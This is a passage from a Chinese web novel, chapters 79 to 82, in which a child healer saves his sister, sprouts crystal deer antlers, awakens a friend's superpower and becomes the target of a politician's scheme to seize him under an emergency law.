最终,又又奋力一抓,用尽最后的力气,将病灶吞入腹中。 时间仿佛忽然静止了。 检测仪上的生命曲线变得平稳,原本刺耳的警报声也消失了。 江昭晏原本微弱的呼吸变得均匀平稳,胸口新生的皮肤还泛着脆弱的粉色,却已经有了平稳的起伏。 “昭晏……被救回来了!” 听到这句话,又又的唇角无意识地弯了弯,却是终于松了口气。 太好了! 姐姐的命,救回来了! 可这口气刚松,他的意识便瞬间抽离,双眼紧闭,身体软软地倒了下来。 “又又!” 希尔的行动比思维还要快,一个箭步便冲上前,手臂稳稳地接住软倒的小幼崽。 小幼崽的头无力地靠在他的肩膀上,栗色卷发早已被汗水浸湿,脸颊上还被溅上了几滴鲜血。 而他额角的皮肤像是被什么东西顶了起来,紧接着,一双透明如冰晶的鹿角如同顶破冻土的春笋般,舒展着生长出来。 “这……这是?!” 第79章 不知过了多久,又又才在病床上缓缓醒过来。 纤长的睫毛颤动了一下,立刻就惊动了守在床边的一群人。 自从又又晕倒后,他们就急忙把人送来了医疗中心。 虽然检查结果没什么问题,但小幼崽不醒来,他们就是没办法放心。 江砺抢先到了床边,想要触碰,却又不敢,只能轻声问道:“又又,怎么样了?” 可还不等又又说话,几个白大褂就挤了进来。 章康教授老当益壮,竟是硬生生把江从谦几人都推到了一边。 “都散开!!”他毫不客气地道,“让我们先给又又检查身体!” 他身后几名医生也都跟着挤了进来,他们可不管对方是元帅还是总裁,在又又的健康面前,江砺等人也都得老老实实退到一边。 章康等人凑到病床边,脸上的凌厉瞬间融化:“又又,有哪里不舒服吗?” 小幼崽刚清醒,人还有些迟钝,绿眸眨了眨,才看清章康等人:“章爷爷,我没有不舒服……” 事实上,他现在浑身都暖洋洋的,整个人都是神清气爽。 之前吞噬病气过度而饱胀的肚子,现在没事了,甚至额头的剧痛,现在也消失了。 只是小幼崽突然想起了什么,挣扎着坐起来:“对了,姐姐呢?” 他晕倒前,隐约听见了有人说,姐姐已经脱离了危险,应该是真的吧!不会是他在做梦吧! 看着小幼崽焦急的模样,章康连忙安抚道:“你姐姐没有事情,你治疗之后,她就已经脱离了危险,现在正在治疗舱里进行后续的治疗。” 关于当时的情形,他们也是在后来才听江砺等人说的。 听到江昭晏当时胸口破了大洞,只能靠异能面前弥合,他们都觉得不可置信。 从医疗角度看,没有当场死亡都已经是奇迹了,她居然还能撑回元帅府! 可即便如此,这么重的伤,以目前的医疗手段,基本上没有救治的可能。 然而,又又偏偏将她救活了! 不仅如此,在检查的时候,她的生理指标完全不像是重伤初愈,要不是江元帅不可能骗他们,他们甚至觉得江昭晏看起来只像是受了轻伤似的。 又又没看到姐姐,还是不放心。 于是章康教授他们,便只能将小幼崽推去江昭晏的病房。 此时,病房里的两台医疗舱都在工作,一个躺着江昭晏,一个躺着塞西莉亚。 肉眼看过去,甚至会觉得,塞西莉亚伤得比江昭晏还重一些。 “又又!” 江昭晏一眼就看到了轮椅上的小幼崽,但看到又又的脸时,她却愣住了。 又又没有注意到她的怔忪。 他刚被推进病房,目光就落在姐姐身上,发现她身上只有淡淡的病气,这才放下心,绿眸亮晶晶的:“太好了!姐姐真的没事了!” “是啊,多亏了又又!” 江昭晏回过神,声音很轻,却带着几分劫后余生的后怕。 旁人都以为,她说的是又又救下她的性命,却不知道,她能强撑着回到元帅府,也是因为又又。 胸口被炸开的时候,她是真的以为自己要死了。 她能清晰地感觉到血液涌出自己的身体,感觉到自己的生命力在不断流失。 她眼前发黑,通讯频道里塞西莉亚的声音,似乎是从很远的地方传过来,多年战场的经验,以及她的理智都在告诉她,这样重的伤势,没有人能活下来。 可在那个时候,她却想起了又又。 她一次次看到小幼崽创造奇迹,已经在不知不觉中,对他产生了强烈的信任。 她无比确信,只要有又又在,不管她伤得多么重,又又都一定能把她救回来。 也正是因为如此,她才能强撑着求生的意志,忍着剧痛,使用异能强行封闭自己的胸腔,回到了元帅府。 而又又也没有辜负她的信任,真的把她救了回来。 又又松了口气,又忍不住问道:“姐姐,你还有塞西姐姐,你们怎么会受这么重的伤啊!” 江昭晏和塞西莉亚对视一眼,两人的神情却都严肃起来。 江昭晏最近一直在查违禁药的事情。 她在军部根基不深,虽然背后有江砺的支持,但能动用的人手也有限,何况她原本并未觉得这件事会有这么危险。 直到她查下去,发现这违禁药背后的人极为老练,所有的尾巴都扫得干干净净,线索全部断掉。 江昭晏性子固执,越是这样,她就越不甘心,于是她干脆改变调查策略,从这个药物相关的公司或者机构去调查。 也就是在这其中,她发现了一个熟人——殷质。 江昭晏当即就带着塞西莉亚,去军部监狱找殷质。 可谁能想到,他们竟正好碰到了有人要暗杀殷质。 江昭晏当即便明白,自己的调查方向对了! 她救下殷质,让塞西莉亚去联系其他小队成员,自己便去追逃跑的杀手,被对方的同伙围攻,这才不慎受伤。 只是她虽然受伤,却也不是全无收获。 她认出了其中一名围攻她的杀手的异能,而这人,曾经是联邦议长霍华德的手下。 这些事,她在醒来后就只对父亲和哥哥说了。 江砺听完,脸色骤然冷了下来。 他对霍华德一直有所防备,也一直在暗中调查他。 霍华德背靠世家,替世家争夺利益,他并不意外。 可他没想到,他竟然如此胆大包天,勾结反叛军、售卖违禁药、暗中扶持研究所生产生物毒剂…… 无论哪一条,都是足以让他上军事法庭的重罪! 想到这里,江砺便道:“我知道了,接下来的事就交给我,你好好休息。” 江昭晏皱起眉:“我的伤没事!我可以继续追查!” 江砺却按住她的肩膀:“但爸爸会担心你。” 这一次江昭晏的重伤,令他的心脏都几乎停跳。 即便在战场上九死一生的时候,他也没有这么恐惧过。 江从谦也拍了拍江昭晏的肩膀:“是啊,交给我和父亲吧,又又好不容易救了你,你也不想他担心吧。” 也正是因此,江昭晏才没有再逞强。 可是…… 她的目光再次落到了轮椅上的小幼崽身上,欲言又止。 又又茫然地眨了眨眼睛:“姐姐,我的脸上怎么啦?” 江昭晏指了指他的额头,有些担心:“又又,你的额头……” 额头? 又又莫名地抬起手,随后便愣住了。 指尖碰触到的,却不是额头光洁的皮肤,而是一节微凉的……角?! 小幼崽当即便爬下了轮椅,跑到洗手间。 镜中的景象,让他不由自主地睁大了眼睛。 只见他的额头上竟真的凸起一对半透明的角。 形状像是小鹿的角,角尖圆润可爱,整体有他的小臂那么长。 他轻轻地碰了碰,一股痒意顺着角尖传导到了身体里,让他不由自主地抖了抖。 又又仔细看了看,发现这对角长出的位置,就是他额头之前微微凸起的地方。 难道之前他额头感觉到痒和痛,都是因为要长角了? 又又对于长角这件事,倒并不觉得奇怪。 毕竟长老们的食病兽形态,就是这个样子的。 只是他年纪小,一直都没有长出角,所以也就忘记了。 又又好奇地对自己的角又摸又碰。 而在洗手间外面,江砺和江从谦等人却忧心不已。 毕竟他们还是第一次看到有人头上长角,很担心这角会对又又的健康造成什么影响。 于是,接下来几天,章康教授他们都围绕在了又又身旁,没日没夜地研究。 通过对又又的体征监控,他们基本能排除这角是病症的可能。 小幼崽简直健康得不行。 只是对于这角到底是什么,他们却产生了分歧。 根据他们的检测,这角既不是皮肤,也不是骨头,更不是角质。 它就像是凭空出现在了又又的额头上。 可是触碰的话,却又能感觉到角的存在。 微凉,坚硬,像是玉石一般的手感。 而且这新生的小鹿角还十分敏感,尤其是角根的位置,轻轻碰一下,小幼崽就会缩着脖子喊痒。 甚至小幼崽情绪激动的时候,小鹿角也会跟着微微泛红。 在一番激烈的讨论后,他们还是得出了最终的结论。 江砺听说后,刚结束公务,便匆匆赶到了医疗中心。 “怎么样?查清楚了吗?” 章康教授点点头,脸色却有些凝重。 除了又又,在场众人都提起了心。 江从谦声音艰涩:“难道……有什么不好吗?” 章康教授和其他人对视一眼,才开口道:“我们研究之后,发现又又的鹿角,很有可能……是精神体!” “精神体?!” 现场所有人都愣住了。 “不可能!”江从谦最先反驳,“又又是纯正的联邦人,怎么可能会有精神体呢!!” 所有人都知道,当初人类进化分为两个方向。 一派觉醒异能,组建了中央联邦。 而另一派凝聚精神体,建立圣律帝国。 这些年,两国在进化上的分歧越来越大,哪怕相貌区别不大,但内里已经可以说是完全不同的两个人种了。 身为联邦人的又又,怎么可能会长出帝国人才有的精神体呢! 江砺也沉声说道:“我见过帝国人的精神体,他们都是离体兽形,我从来没有见过又又这样的精神体!” 章康其实很能理解他们的心情。 他们一开始查出来的时候,也不敢置信。 可是检测结果是不会骗人的,又又的鹿角和帝国人的精神体就是一样的。 但他们都知道,又又就是江元帅的亲儿子,百分百的联邦人。 也因此,章康想到了一个惊世骇俗的可能性。 “我怀疑,又又才是进化的最终方向!” 众人:“!!!” 第80章 章康教授的话,让现场的空气骤然凝固。 所有人都被“进化的最终方向”这几个字震在原地。 从300年前人类分裂后,这么多年,联邦和帝国一直都在争论,谁才是进化的最终方向。 这让本应该是同族的两国,彼此仇视,征战不休。 而如今,章康教授的话,岂不是说帝国是对的,精神体才是进化的最终方向?! 在场的联邦人怎么可能接受这点! “不,我不是这个意思!”章康摇摇头,提高声音,神情甚至还带着几分狂热,“我是说,真正的进化方向,或许是异能和精神体同时觉醒,就像是又又这样!” 这让原本想要反驳的人愣住了。 是啊! 又又不就是既有异能,又有精神体吗? 然而,江砺却忽然道:“章教授,你难道忘记了30年前的‘普罗米修斯计划’?” 章康瞳孔骤缩。 一旁的江见微几人有些怔然:“什么普罗米修斯计划?” 不等江砺开口,江从谦便已经解释道:“30年前,联邦异能医学会的前任会长便提过,让异能和精神体同时觉醒,当时召集了100名志愿者,称之为‘普罗米修斯计划’。” “只可惜,这项花费重金的计划,最终却以全面失败告终,当时的100名志愿者死的死,疯的疯,前任会长最终选择自杀。至此,这项计划便被永久封存。” 寥寥几句话,却听得众人心中一片冰寒。 “可是,失败不代表方向错了!”章康教授据理力争,语气激动,“而且,又又头顶的鹿角并不是离体精神体,如果能从这个角度去研究……” “章教授!”江砺厉声打断了他的话,“又又的情况并不具备普适性,况且重启‘普罗米修斯计划’是违宪的!联邦也经不起第二次丑闻!” 章教授张了张嘴,却无话可说。 他心里明白,江砺说的是对的。 又又是独一无二的。 不管是治愈异能,还是头顶的精神体鹿角,都是联邦此前从未出现过的。 这样独特的个体,无法复制,没有对照。 不论他们如何研究,也证明不了同时进化是正确的方向。 然而,他低头看着手中的检测报告,却怎么都无法甘心。 早在100多年前,异能的进化便进入了瓶颈。 从那以后,异能的病症越来越多,也越来越复杂,而异能医学的研究却根本跟不上病症出现的速度。 他们只能眼睁睁看着病人死去。 这些年,医学界渐渐有了共识,想要解决这种现状,或许只能寄希望于人类再次进化。 可这又谈何容易! 小幼崽懵懂地听着他们的话。 虽然有很多不明白,但章康教授的话,却令他若有所思- 等到又又的身体确定没有问题,而且学会将鹿角收起来后,他才被允许回到元帅府。 刚下了悬浮车,他就看到守在门口的希尔。 银发紫眸的少年站在廊下,不过短短几天,便憔悴了不少,连眼底都有了淡淡的青影。 孤零零的样子,看着像是被抛弃的小狼。 又又听宁叔说,自从他被送到医疗中心后,希尔便每天都会来元帅府等。 宁叔劝他,说又又回来会联系他,让他先回去,他却不肯,就这么固执地等在这里,一等就是一天。 宁叔都有些不忍心了:“你都不知道,只要有悬浮车进入,他就立刻看过去,发现不是你,又失望地低下头……” 又又听着心里都有些酸酸的,刚想开口喊他。 希尔却像是和他心有灵犀一般,倏地看过来,在发现是又又后,他的脸一寸寸地亮了起来。 “又又!” 他的声音带着久未说话的沙哑,如一阵风般跑到又又身前。 眼前的小幼崽面色红润,眼神明亮,全然不是之前晕倒在他怀里时,那苍白虚弱的模样。 见状,希尔不禁在心里松了口气。 下一秒,小幼崽就握住了他的手:“希尔哥哥,你是不是在担心我?” 被小幼崽这样直白地问出口,希尔似乎有些不好意思,但还是用力地点点头:“担心你!” 又又弯起眼睛:“我也想希尔哥哥。” 希尔怔住,随即耳尖微微泛红,却也跟着小声道:“我也是……” 又又牵着希尔,蹦蹦跳跳地回了自己的房间。 希尔听着熟悉的叽叽喳喳,这几天的焦躁不安,也仿佛渐渐被抚平。 他下意识看向又又的额头,那里如今已经恢复了光滑,他记忆里的那对小鹿角,简直像是做梦一般。 又又眨巴眼睛:“希尔哥哥,你在看什么?” “没、没什么……”希尔连忙移开目光。 又又让他靠近一点,才小声道:“你是不是想看我的角?” 希尔抿紧嘴唇,紫眸看向他,似乎在问“可以吗”。 “当然可以!”小幼崽大方地说道,“不仅可以看,还可以给你摸摸!” 他闭上眼睛。 长而卷翘的睫毛在眼睑投下阴影。 下一秒,额角的皮肤微微鼓起,随即,一节小巧的鹿角破肤而出。 像春日里抽芽的花枝,慢慢舒展成圆润的弧度。 希尔怔怔地看着眼前的景象。 那角不算太长,如同最纯净的冰晶雕琢而成,看着高贵圣洁,却又有着最圆润可爱的弧度。 希尔忍不住伸出指尖,却在离角半寸的地方停了下来,像是怕碰碎了一般。 可银狼却不知道什么时候钻了出来,毛茸茸的脑袋凑到又又肩头,好奇地嗅闻着又又的小鹿角。 微凉的气息呼在敏感的小鹿角上,逗得又又缩着脖子直喊痒。 看小幼崽都快笑得摔到床底下了,希尔只能强行把银狼收回去。 又又擦了擦眼角笑出来的泪花,这才想起什么,问道:“希尔哥哥,我问你一个问题哦,帝国的人会有异能吗?” 希尔一愣,却还是摇摇头:“没有,帝国人只有精神体。” 随即又疑惑道,“为什么这么问?” 又又便将章康教授的话告诉他,小短腿垂在床边一晃一晃的。 “我在想,我没办法吃掉你的病,是不是因为你的病就不在精神体上,而是你至今都没有觉醒的异能源呢?” 希尔的心先是一暖,随即又为他的奇思妙想震惊了。 作为帝国人,他们自小就被教育,凝结精神体才是进化的唯一方向,其他的都是异端! 如果再帝国说这种话,可是要被送上审判台的! 然而又又却振振有词:“万一呢!总要试试嘛!” 他想到,自己上次尝试治疗希尔哥哥的时候,差一点就成功了。 当时他的指尖真的碰到了那朵黑色莲花。 他能触碰到,说明这个病灶是真的! 那么希尔哥哥患的就是自蚀症无疑了,他吃不掉,肯定不是他的问题,那就只可能是希尔哥哥的问题。 小幼崽越想越觉得对。 希尔沉默了片刻:“好,要怎么试?” “额……”又又顿时卡壳了。 但很快,他就想到了办法。 “我去找三哥!希尔哥哥你等等我!” 他跑到江见微的房间,然而江见微听到他的话后,却愣住了:“你问异能是怎么觉醒的?” 又又点点头,求知若渴地看着他。 江见微有些茫然:“就是一出生就觉醒了啊……” 又又连忙说:“我是问,最早觉醒异能的人,他是怎么觉醒的?唔……有没有什么秘诀之类的?” 江见微更奇怪了:“这些事情,你直接去问大哥不就好了,他脑袋就跟图书馆似的,什么都知道。” 又又撅了噘嘴。 以大哥那精明的样子,只要去问,他肯定就能猜到自己要做什么,哪有三哥这么好忽悠! “三哥~”小幼崽眨巴着眼睛,软软地说道,“你就帮帮我嘛!” “好吧好吧。”江见微瞬间投降,抬手开始在星网上搜索,很快就找到了答案。 然而小幼崽不仅没有接过来,反而继续眨巴眼睛:“三哥,人家不识字,你念给我听吧!” 江见微:“……” 面对无法拒绝的小幼崽,他只能任劳任怨道,“最早的一名异能者,是300年前……” 根据历史记载,300年前,人类曾遭遇了一场几乎灭顶的灾难。 一种宇宙远古病毒传播开来,人类死伤无数,而侥幸活过来的人,则发生了第一次进化,有的诞生了异能,有的则凝结出了精神体。 在这些进化人类的通力合作下,终于彻底消灭了这种远古病毒。 最初,不管是异能还是精神体,都不算强大。 直到一代代不断进化,才有了如今的中央联邦和圣律帝国。 然而,又又听他说完,却不禁想起了在帝山时,和长老的一段对话。 他问长老:“如果没有食病兽,人类得病应该如何治愈呢?” 长老慈爱地摸了摸他的头,告诉他:“人类是一种极其顽强的生灵,得病了之后,他们的身体会慢慢生出抗体,越是严重的病,抗体也会越厉害,而后,他们的身体会永远的记住这种抗体,一代一代传承下去……” 当时的小幼崽听完,却很是沮丧:“如果是这样的话,我们食病兽不是没有存在的必要了?” “小笨蛋。”长老无奈地笑了笑,“人类有一句话,叫做过犹不及,就是说,再好的东西,过了头就成了坏事,人类的抗体也是如此,过强的抗体,又没有东西压制,是会反噬人体的。” “人类想要健健康康的,身体里就要平衡,这也正是人类所不擅长的,而我们食病兽,就是平衡的钥匙。” 那时的又又听得似懂非懂。 而如今,却像是一道闪电划过大脑。 “我知道应该怎么做了!!”《 》 80-84 第81章 这一段时间,中央联邦发生了两件大事。 一件是章康等几位异能医学界德高望重的大拿,联合公布了最新的研究成果。 在这份研究成果中,经过他们的论证,很多罕见病其实是一些早就发现的异能病症的变种。 这对于目前异能病症的定论,几乎是颠覆性的! 不止异能医学界为之震动,联邦的普通人也轰动了。 因为章康他们发现,只要能论证是同种病,药物就能通用。 一些原本因为罕见病缺乏药品,只能在痛苦中等死的病人们,也因此等来了希望。 而在这份研究成果的最后,章康他们更是表明,这些研究成果能够面世,主要就是依靠又又,是他先发现病灶的规律,他们只是做了一些整理和验证的工作。 这话瞬间激起千层浪。 谁都没有想到,这个孩子竟然又一次改变了异能医学史! 甚至,这场风暴还未平息,章康教授等人又紧接着公开宣布脱离异能医学会。 舆论哗然。 异能医学会的名声又一次下跌。 但,这还不是终点。 很快,联邦又发生了第二件大事。 元帅江砺弹劾议长霍华德和异能医学会的会长卡森,贪赃枉法,勾结反叛军等十几条罪名。 军部在江砺的掌控下,还算平静,但对于政界来说,差点被这颗巨大的炸|弹当场炸晕。 一直以来,军部与议会的关系虽然称不上好,但也还算过得去。 像这样明刀明枪的弹劾还是头一回。 再加上,霍华德在外的名声一直都很好,一开始很多人都不敢相信。 有人怀疑,这是江砺在为女儿江昭晏复仇,也有人怀疑,他是想借机清洗议会,独揽大权。 而对于当事人霍华德来说,他比任何人都知道,江砺所说的都是对的。 而且,他并不知道江砺手中到底有多少证据,但以他对江砺的了解,他绝不是那种冲动的人,他站出来弹劾,一定是已经做好了准备,说不定他手中已经有了关键性的证据。 他拄着手杖,在室内焦虑地走来走去。 一旁的卡森也是一副颓丧的样子,全然没有了平时跋扈傲气。 他忍不住看向霍华德:“议长,我们接下来应该怎么办啊?” “你问我,我问谁?!”霍华德赫然转头,恼怒地看着他,“要不是你任人唯亲,会惹出这么大的乱子吗!” 卡森缩起脖子,但还是没忍住道:“议长,不然我们逃吧,趁着军部还没反应过来……” “逃?”霍华德声音微冷,“逃去哪里?混乱星带?反叛军基地?还是那些根本没有人烟的荒星?” 他每说一个字,声音就冷一分,说到最后那个字的时候,声音冷得让人骨头缝都发冷。 卡森哪里还敢说话,老老实实地闭上嘴,像鹌鹑一般缩在一旁。 霍华德也懒得理会他。 他从一个家族旁支的边缘子弟,好不容易才有了如今的身份地位,他怎么舍得放弃! 只是,江砺的那份弹劾像是一座沉甸甸的大山般,压在他的头顶。 他必须要想到破局的方法! 这时,他忽然想到了什么,手杖重重地敲了一下地面,扭头问他:“重新修订《异能法案》 的决议通过了吗?” 卡森却急了:“现在还管什么《异能法案》啊?还是先想想,我们要怎么化解眼前的危机吧!” “你懂什么!”霍华德突然笑起来,双眼微眯,如毒蛇般阴冷,“江砺急着把我们弄下去,恰恰是因为怕这个!” “你别忘了,《异能法案》中有一条危急条款,如果联邦遭遇异能安全威胁或重大公共危机,可强制要求公民配合异能研究,违者以危害联邦罪论处!” 卡森这才反应过来,顿时兴奋起来:“没错!只要决议通过,我们就可以根据这条条款,把那个孩子弄到异能医学会来,到时候,我们有人质在手,江砺他们自然不敢轻举妄动!” “可是……”卡森还有些迟疑,“来得及吗?议会那边……” 虽然霍华德是议长,但议会也不是他的一言堂。 议会内部也是有派别的,《异能法案》的修订决议至今没有通过,就是他们的功劳。 “到了这种时候,该让步就得让步!”霍华德不甘地出了口气,“把他们绑上我们的战车,一起对抗江砺,才是最重要的!” “何况,此一时彼一时,江砺弹劾我,破坏了规矩,真要放任下去,难道他们的下场会比我好多少吗?恐怕我们还没去找他们,他们自己就要怕得先找上门了!” 他话音刚落,他的通讯器便响了,对面的正是平日跟他关系不睦的另一党派议员。 而正如霍华德所猜测的那样,对方的确从江砺的举动中察觉到了恐惧,想要找霍华德好好谈谈。 等到霍华德结束了通讯,卡森便一脸狗腿地凑上来:“不愧是议长,果真是运筹帷幄,未卜先知!这样看来,这个危机反倒是我们的机会,如果真的把那个孩子弄到手里,往后他的治愈异能,也自然归我们异能医学会了!” 霍华德点点头:“明白了,你就好好去做,再出纰漏,我第一个送你去死!” “是是是。”卡森连连点头,却仍旧犹豫了一下,“江砺他们那边会不会也猜到这点啊?万一他们早有准备……” “猜到又怎么样?”霍华德冷笑一声,“他想要阻止这一切,除非《异能法案》被推翻!”- 元帅府。 又又正蹲在希尔面前,小心翼翼地尝试着感应他的异能。 没错,自从那天从三哥口中知道了进化的真相后,又又便有了一个想法。 当初人类的发展出现两个分支,看似是两种不同的应对远古病毒的“抗体”,但这两种“抗体”是否也是抑制平衡彼此的存在呢? 只是当时的人类没有意识到这点,反而分裂成了两个不同的阵营。 这才造成如今的后果。 或许,只有当人类同时觉醒异能和精神体,他们的身体才能进入真正的平衡。 只不过,吞噬病症,是又又的本能,感应异能却不是。 尤其希尔根本就没有觉醒异能的情况下。 又又尝试了好几个方法,都没有任何作用。 希尔看着又又汗湿的额头,忍不住道:“又又,休息一会吧。” 又又长出了一口气,集中精力太久,他觉得脑袋都有点晕晕的。 希尔拿毛巾给他擦掉额头上的汗,又问道:“要不要吃一点病气?” 经过这些时间的相处,希尔敏锐地发现,又又吞噬病气,就像他们要吃一日三餐一样。 果然,又又听完,便凑过去,毫不客气地啃了两口病气。 呜! 好吃! 不知道为什么,希尔哥哥身上的病气总是最好吃的。 即便是同是自蚀症的许异表哥,也不如希尔哥哥。 就在小幼崽即将吃第三口时,却被希尔给阻止了:“不能吃撑。” 他现在还记得,小幼崽当时吃撑后,身上那些可怖的伤口。 哪怕又又一再说那根本不痛,他也不愿意看到。 又又撅起嘴:“希尔哥哥,你现在也像大哥一样讨厌了!” 如果说,以前的希尔听到又又说讨厌,还会有些患得患失。 但此刻的他,却已经明白了,这是小幼崽独特的撒娇方式。 他轻笑一声,温柔地摸了摸小幼崽的头发。 又又却忽然愣住了:“希尔哥哥,我好像有办法了!” 他之前一直想着,只要他能帮希尔哥哥感应到异能的存在,对方就能顺理成章地觉醒。 但他却忘记了,不管是异能还是精神体,本来都是人类为了抵抗远古病毒而自发产生的抗体,不论是催生异能的异能源,还是凝结精神体的意识核心,都携带远古病毒的基因片段。 那是人类与病毒博弈的烙印,也是觉醒必须跨越的门槛。 所以,他想要帮助希尔觉醒异能,并不需要引导他感应,而是应该刺激异能源,激活远古病毒的基因片段,让他自己觉醒。 他将自己的推断说给希尔听。 异能源本就是人类身体中最神秘也是最脆弱的区域。 又又做的还是激活远古病毒基因片段,这种危险的事情。 然而,希尔听完,却是毫不犹豫道:“我相信你,又又!” 又又能感觉到他目光中对自己的信任。 小幼崽心头一热:“那……我们就试试吧!希尔哥哥!” “你放心,我一定会保护好你的!” 下定了决心后,又又便也不再犹豫。 他目光坚定,手掌贴着希尔的额头,原本吞噬病气的小漩涡被他拧成了一团,第一次避开病气,一点点探入希尔的异能源。 只是轻轻一触碰,原本还算乖顺的小漩涡却像是发了疯一般,冲向希尔的异能源。 希尔只感觉大脑仿佛“砰”的一声。 随后一阵极致的剧痛袭来,让他几乎瞬间失去意识。 “希尔哥哥!!!” 他似乎听到又又在叫他的名字,却又仿佛隔得很远。 他想要跟他说,我没事,你别担心。 可嘴唇连张开都做不到。 和这种侵入灵魂的疼痛相比,以前自蚀症带来的疼痛简直不值一提。 此刻,甚至一秒钟都变得格外漫长,难以忍受。 忽然,他身上的疼痛一轻。 是又又! 一定是又又在吞噬他的疼痛! 这个念头令希尔瞬间清醒。 不! 他不能晕过去! 不知道过了多久,希尔的睫毛才微微颤动了一下,随后缓缓睁开。 入目便是小幼崽眼眶通红,满脸泪痕的模样。 发现他醒过来,又又眸中顿时惊喜万分,带着哭腔问道:“希尔哥哥,你怎么样?” “我没事……”希尔沙哑着嗓子安抚他,撑着地缓缓坐起来。 他的每一寸肌肉,每一寸骨骼都像是被车子轧过一遍,现在还一抽一抽地疼。 但他却装作若无其事的样子,强撑着抬起手,擦掉又又颊侧的眼泪。 又又吸了吸鼻子,又打了个饱嗝:“呜呜呜……嗝……吓死我了!” 希尔正想安慰他,却忽然愣住了,下意识看向自己的手指。 又又连忙问:“希尔哥哥,你怎么了?” 希尔顿了顿,才道:“我……我好像,已经有异能了!” 又又愣住了,绿眸瞪圆:“什么?!” 希尔没有回答,只是侧头看向窗外。 窗外树木郁郁葱葱,一只小鸟在树桠间蹦蹦跳跳,发出清脆的鸟叫声。 希尔抬起手指,轻轻地点了点它。 他一开始使用异能时,还有些生涩,建立异能回路也是磕磕绊绊的。 但他依旧能感觉到,这是一种和精神体截然不同的力量。 小鸟圆溜溜的眼睛忽然失去了神采,翅膀僵在半空中。 下一秒,它就像是被一根无形的线牵引一般,扑棱着穿过窗户,径直落在又又脚边。 又又:“!!!” 他伸出手,小心翼翼地摸了摸小鸟毛茸茸的身体。 小鸟不仅没有害怕,反而还发出了一声清脆的:“叽!” 它还歪头蹭了蹭又又的指尖,乖顺得像是一只家养的宠物。 又又又是惊喜,又是担忧:“希尔哥哥,小鸟不会有事吧?” “不会。”希尔的紫眸浮起笑意,收回指尖。 而随着控制小鸟的异能消失,它原本失焦的眼睛重新聚起了光,扑棱着翅膀在原地转了个圈。 仿佛如梦初醒一般,不知道自己为什么会出现在这里。 但很快,它便翅膀一振,叽叽叫着飞出了窗外。 “真的没事!”又又看着小鸟飞走的身影,才又眼睛亮晶晶地看向希尔,“希尔哥哥的异能好厉害啊!” 希尔抿了抿唇:“是又又更厉害!” 他很清楚,因为又又,帝国与联邦绵延了几百年的格局,将会彻底被改变! 第82章 《异能法案》每次的修订会都备受关注。 作为关乎异能者的法案,修订会几乎牵动着联邦所有人的心,即便直播还未开始,星网上便已经是一片热闹沸腾。 【这次修订会开得好早啊!上次修订会才过去两年时间吧?】 【听说是因为元帅的幼子,毕竟是治愈异能,就算是为他单开修订会也很正常吧!】 【真庆幸治愈师是元帅的孩子,如果是世家出身,哪还有我们这些平民的份!】 【就是,虽然抽签很难,但好歹有机会啊!】 【唉,我上次抽签又没有中,我觉得最重要的,是要多几个治愈系异能者!】 …… 每次修订会除了在星网上同步直播外,还会邀请各行各业的异能者来到现场。 霍华德拄着手杖,看着下方满满当当的人群,唇角露出自得的笑意。 最近一段时间,江砺一直在弹劾案上咄咄逼人,把他打得灰头土脸,可是那又怎么样? 最终还是他赢了! 如今,《异能法案》修订会召开,不论是为公还是为私,江砺都只能向他妥协。 此时,门口忽然传来一阵骚动。 正是江砺带着几个子女到了。 霍华德的手杖优雅地敲了敲地面,带着几分胜利者的傲慢:“卡森,走吧,我们去见见江元帅。” 江砺抱着又又,神情冷厉地来到座位前,却正好迎面撞上霍华德。 不等霍华德开口,江昭晏便抢先呛道:“你来做什么!” 霍华德的目光落到她身上。 这位年轻的少将满脸厌恶,目光如刀,只是细看便会发现,她的脸色仍有些苍白,气息也不算很足。 但只要想到,她一个多月之前,还身受致命重伤,在生死线上徘徊,这样的治愈速度已经足够让人惊叹。 霍华德目光落在了江砺怀中的又又身上。 小幼崽一头微卷的栗发,绿眸澄澈。 一想到这样的奇迹,竟是由一个这样软萌无害的孩子缔造的,霍华德想要得到他的那颗心便越发炽烈。 又又察觉到他目光中的贪婪,用力地鼓起嘴巴,和姐姐一样生气地瞪着他。 只是这样的愤怒毫无威慑,霍华德笑了笑,正准备说些什么,却忽然脸色一变。 江砺将又又往怀里护了护,磅礴的威压毫不客气地朝霍华德释放开来。 霍华德身后的卡森等人早已承受不住,“噗通”跪了下来。 霍华德脸色惨白,豆大的汗珠顺着额头流下来,浑身关节更是咯吱作响,只能靠手杖强行撑着。 直到江砺收回威压,他们才狼狈不堪地搀扶着离开。 “议长……”卡森哭丧着脸道,“咱们何必要去惹江砺呢?” “你懂什么!”霍华德擦掉额上的汗珠,“江砺越是愤怒,就越是说明他已经没有后手,对我们来说是好事……” 他话音刚落,就听见“咔嚓”一声。 两人循声望去,才发现这根伴随着霍华德多年的手杖,竟然裂开了。 卡森:“……” 霍华德的脸色顿时变得极为难看- 在万众瞩目之下,第89次《异能法案》修订会正式开始。 修订会一开始,便是由委员会宣读上次修订会至今,增加的病症。 大部分人都是冲着治愈系异能来的,原本对这些不感兴趣。 只是听着听着,众人才赫然发现,不过短短两年时间,竟然增加了这么多罕见病症。 【虽然知道这两年增加了不少罕见病,但听到数量,还是觉得触目惊心!】 【难怪会急着开修订会,我们确实需要更多治愈系异能者!】 【可是,治愈师和章康教授他们,不是发现了罕见病其实就是常见病症的变种吗?我觉得比以前要好多了,不用那么着急就研究治愈异能吧,万一出了什么纰漏,咱们可就这一个治愈师啊!】 【真是站着说话不腰疼,就那一个人,猴年马月才能抽到治愈名额啊!反正我就希望多几个治愈异能者,机会好歹也多一点!】 【有些人能不能动动脑子,真要把治愈师拉过去研究,谁知道会发生什么,说不定这唯一的抽签治愈机会都没了……】 …… 星网上吵得不可开交。 而在修订会现场,委员会也终于宣读到了有关治愈异能的内容。 “根据《异能法案》委员会全体会议决议,现对异能分类体系进行重大调整,新增第九大基础异能类别,治愈异能……” “接下来,将由异能医学会和《异能法案》委员会共同成立实验室,重点研究治愈异能的形成模式、治愈方向、强度等……” 全场安静片刻,随即响起激烈的讨论声。 霍华德此时已经换上了新的手杖,他站起身,和卡森等人再次走到江砺等人面前。 有了之前的教训,他已经不敢再挑衅,只是看着江砺,脸上堆着虚伪的假笑:“元帅阁下,我们来接令郎了。” 江砺抬起头:“《异能法案》修订还没有通过,你有什么资格带又又走?” 霍华德脸上的笑容落下来一点,说道:“委员会已经宣读了修订内容,您应该明白,又又身上的治愈异能事关无数异能病症的患者,早一天研究出结果,就能挽救更多人的性命!” 他说完,委员会中也有一名委员站起身:“您身为联邦元帅,难道要为了一点点私情,就置联邦的未来于不顾吗?!” 